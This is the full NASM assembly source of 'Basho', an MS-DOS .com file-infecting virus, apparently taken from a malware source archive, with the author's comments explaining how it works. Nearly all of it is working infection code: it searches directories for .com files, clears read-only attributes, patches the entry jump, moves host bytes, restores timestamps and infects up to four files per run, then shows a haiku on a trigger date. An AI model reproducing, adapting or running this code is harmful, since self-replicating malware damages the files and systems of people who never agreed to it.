MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.basho.asm
2021-01-12 17:31:39 -06:00

332 lines
12 KiB
NASM

; NAME: Basho.com
; SIZE: 431 bytes
; AUTHOR: Sea4
; TYPE: Appending in a weird way.
; ENCRYPTION: No
; DT: Yes
; STEALTH: No
; REPAIRABLE: Yes
; PAYLOAD: Yes
; RESIDENT: No
; ROI: 4 files per run
; POLYMORPHIC: No
; Explanation.
; Its not very easy to understand at first glance how it even possibly works.
; But the plain and simple fact is that it DOES work, and it works well. I
; thought of the concept right before I went to sleep the other night, maybe
; I was having hallucinations or something. I am not even sure if its an
; original idea. But I like it!
; WTF it does:
; Upon execution the JMP at the beginning of the infected file will jump to
; what I call the virus' launching pad. Its does a few menial tasks like
; saving/restoring program code and the DTA. It also launches the true virus.
; The true virus is stored where actual program code used to be, I call that
; area of program code P3.
; P1 = Is the area the infecting JMP is stored.
; P2 = Is the middle of infected program.
; P3 = The last bytes of program that have been moved to
; make room for Basho.
; V1 = Main Body of BASHO
; V2 = Launching Pad
; Upon execution of the true virus code, files will be infected, and the bomb
; will be tested, etc. etc. Afterward the True Virus Code will RET back to
; the launchpad, and the P3 area will be restored as well as the DTA, and
; the host file will be run 100% without error. ( or at least I think so ).
; Why the hell I did it:
; Just to confuse everyone, including the AV companies and myself.
; -- Sea4 of the CodeBreakers
;***************************************************************
; A little Map
;============== ==============
;| | |____________| <-- Jmp To Launching
;| | | | Pad ( P1 )
;| | | Program |
;| UnInfected | | bytes that |
;| Host | | are not |
;| | | affected. |
;| | | ( P2 ) |
;| | | |
;| | | |
;| | | |
;| | |____________|
;| | | |
;| | File Length | Main body |
;| | Before Infect.| of BASHO. |
;| | | | ( V1 ) |
;| | | | * | <-- Ret to Launch Pad
;============== <<- - - ->> ==============
; | Bytes moved|
; Additional Area |to make room|
; Now that file has been |for BASHO. |
; infected with BASHO | ( P3 ) |
; |____________|
; |Launch Pad |
; P3 and the main body | ( V2 ) |
; of BASHO have the same ============== <-- New file length
; length.
;
;***************************************************************
start:
jmp StartV2
startV1: ; Actual Virus code
V1Length EQU endV1-startV1
mov [bp+victims],cl ; Starts at 0 for victem count
mov ah,47h ; Function 47h: Get Current Directory
cwd ; 00h in DL = Default Drive
lea si,[bp+Cur_DIR] ; 64 byte buffer for pathname
int 21h ; Calls DOS to write current DIR to CurDIR
Dot_Dot:
jmp short infectDIR
Next_Dir:
mov ah,3Bh ; Function 3Bh: Change Directory
lea dx,[bp+Dot_mask] ; Saved starting directory
int 21h ; Calls DOS or Dir Change
jnc Dot_Dot
jmp Badstuff ; All directories have been killed, lets go
InfectDIR:
; Here is our find file thingy
mov ah,4Eh ; Find files
mov cx,7 ; Looking for all file types
lea dx,[bp+com_mask] ; Points to the *.com
FindNext:
int 21h ; Find all the com files
jnc Open ; Success
jmp Next_DIR ; None left in this directory, lets move
Move_FP: ; Move file Pointer call
mov ax,4200h
Here:
xor cx,cx
int 21h
ret
Open:
; Set attrib to 0, so we can write over read only files and such
mov ax,4301h ; Set attrib to 0
lea dx,[bp+File_name]
Call Here
; Opens file for read/write access
mov ax,3D02h ; Open File
int 21h
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
mov ah,3Fh ; Read first three bytes
mov cl,3 ; 3 bytes, CX holds number of bytes to read
lea dx,[bp+saved] ; Buffer for saved bytes :)
int 21h ; Tells DOS to read 'em
; Check infection criteria
; If file is too large it may crash, and too small is easily noticable
xor cx,cx ; See if file is larger than 1 segment
cmp cx,[bp+File_size_off] ; 9Ch holds the segment size, Basho doesn't handle
; files larger than one segment, so we can't
; infect something larger than FFFFh bytes
jnz Close ; Its more than 1 segment lets escape
mov ax,[bp+File_size] ; Retrieves offset size of target file
; File must be greater than 1k
; Keeping smaller files from being infected
cmp ax,400h ; 400h = 1024 bytes ( 1k )
jc Close ; Its too small, get the hell outta here
; File must be less than 61440
; Stack errors and wrapping of bytes may occur if the
; file + virus + buffer excedes 1 segment ( FFFFh bytes )
cmp ax,0F000h ; 61440, to provide room for buffer and virus size
jnc Close ; To big, may cause errors, can't do it
push ax ; Saves file size for later
sub ax,3 ; Taking into account the JMP
push ax ; Save that for the new 3 bytes
; Test 2nd + 3rd bytes for JMP location to V2 ( LaunchPad )
; Here we check for previous infection by testing if the jump looks
; like one created by a previous running of Basho.
sub ax,V2Length ; We need the new jump to go to the launch pad
cmp ax,[bp+saved+1] ; Tests if the file has been infected with Basho
jz Close
pop ax ; Retrieves jump location
add ax,V1Length ; Adds the length added by virus
mov [bp+jumpto],ax ; Sets jump location for victim
; Set FP to beginning
xor dx,dx
call Move_FP
; Write new JMP to victim
mov cl,3 ; Length of area to write ( 3 bytes )
lea dx,[bp+jumping] ; its the location of the new JMP
mov ah,40h
int 21h
; Move FP to get bytes from End of victim
; Since DX specifies the location in bytes from beginning we want
; to move the FP, and since we want to move to End of File-V1Length
; We take the entire filesize-V1Length, and move that far from
; the beginning of file.
pop dx ; Retrieves filesize
sub dx,V1Length ; Places location in file at End-V1Length
push dx ; Saves this spot for the write
call Move_FP
; Here is where we retrieve the P3 file bytes and save them for later
mov ah,3Fh ; Function 3Fh: Read from file/device
mov cx,V1Length ; Number of bytes to read
lea dx,[bp+startP3] ; Actual area for file bytes
int 21h ; Duh, it read those bytes into the P3 area
; Now we write the virus code into that area we just made
pop dx ; Retrieves location by previous Move FP
call Move_FP
mov cx,endV2-startV1 ; Now we can just write all that area to
lea dx,[bp+startV1] ; The victem because we have prepared so well :)
mov ah,40h
int 21h
inc Byte Ptr [bp+victims] ; Increments our Byte counter
Close:
mov ax,5701h ; Set Date/Time stamps
mov dx,[bp+File_Date]
mov cx,[bp+File_Time]
int 21h
; Close File
mov ah,3Eh ; Function 3Eh: Close file
int 21h ; Shut that mo fo down
mov ah,43h ; Reset attributes
lea dx,[bp+File_Name]
xor cx,cx
mov cl,[bp+Attributes]
int 21h
mov ch,04h ; Only four files per run
cmp [bp+victims],ch ; Sees if we have had that many so far
jnc BadStuff ; If so, run the bomb sequence
mov ax,4F00h ; Jump to FindNext routines
jmp FindNext
BadStuff: ; Payload
; Before starting the bomb, we head to original DIR
mov ah,3Bh ; Function 3Bh: Change Directory
lea dx,[bp+Cur_DIR]; Saved starting directory
int 21h
; Activation checker
mov ah,04h ; Function 04h: Get Real Time Clock ( Date )
int 1Ah ; INT 1Ah BIOS Time interrupt
; Gets the date and puts the value into the following
; registers.
; CH = Century
; CL = Year
; DH = Month
; DL = Day
cmp dx,0701h ; July 7th, I like this day.
jnz Exit ; Its not the date, we'll try another time
; Just displays a simple message
mov ah,09h ; Function 09h: Write string to std output
lea dx,[bp+message] ; Where the message is stored
int 21h ; Announce our presence
Exit:
mov sp,0FFFCh ; Restores the stack pointer to where the RET should go to
ret ; I did this to make sure it would go back to the right spot
; Then return to caller.
virus_name db '[Basho]',0 ; Named after the poet
author db 'Sea4, CodeBreakers',0 ; Me and who I work for
com_mask db '*.com',0 ; Com file mask
dot_mask db '..',0 ; Dot dot dir mask
saved db 0CDh,20h,00h ; Saved 3 bytes from infected files
jumping db 0E9h ; JMP
jumpto db 0,0 ; Jump to launch pad
message db 'The temple bell stops,',0Dh,0Ah ; A lovely Haiku
db 'But the sound keeps coming',0Dh,0Ah
db 'Out of the flowers.',0Dh,0Ah,'$'
endV1:
startP3: ; Program code that has been moved to accomodate our virus
db V1Length dup (90h)
endP3:
startV2: ; Virus's little launching pad.
V2Length EQU endV2-startv2
; Pretty cut and dry delta offset thing
call Delta ; Gets delta offsets
Delta:
pop bp ; Retrieve Locale for BP
sub bp,offset Delta ; Subtracts that by the original to obtain
; the location moved down in memory
mov ah,1Ah ; Set new DTA, this is a first for me
lea dx,[bp+New_Dta]
int 21h
; Rewrite first three bytes
lea si,[bp+saved] ; Where we saved em
mov di,100h ; Start of Program, ( i.e. where they go )
movsb
movsw
lea di,[bp+BufferP3] ; This block moves P3 code into the buffer so the
lea si,[bp+StartP3] ; when the virus runs, it doesn't get overwritten
mov cx,V1Length ; Length of that area
rep movsb ; Move it out!!
call StartV1 ; Normal Virus Code
lea si,[bp+BufferP3] ; Loads start of moved program code into SI
lea di,[bp+startV1] ; Virus location into DI
mov cx,V1length ; Virus code length
rep movsb ; Restores bytes
; Restores the saved DTA
mov ah,1Ah ; Set original DTA
mov dx,80h
int 21h
push 100h ; We are gonna run the host program now
ret ; Go for it
endV2:
Buffer:
New_Dta db 21 dup (90h) ; DTA!!
Attributes db 00h
File_time dw 00h
File_date dw 00h
File_size dw 00h
File_size_off dw 00h
File_name db 13 dup (0)
victims db 0h ; Victim count
Cur_DIR db 64 dup (0) ; Location of current DIR
BufferP3: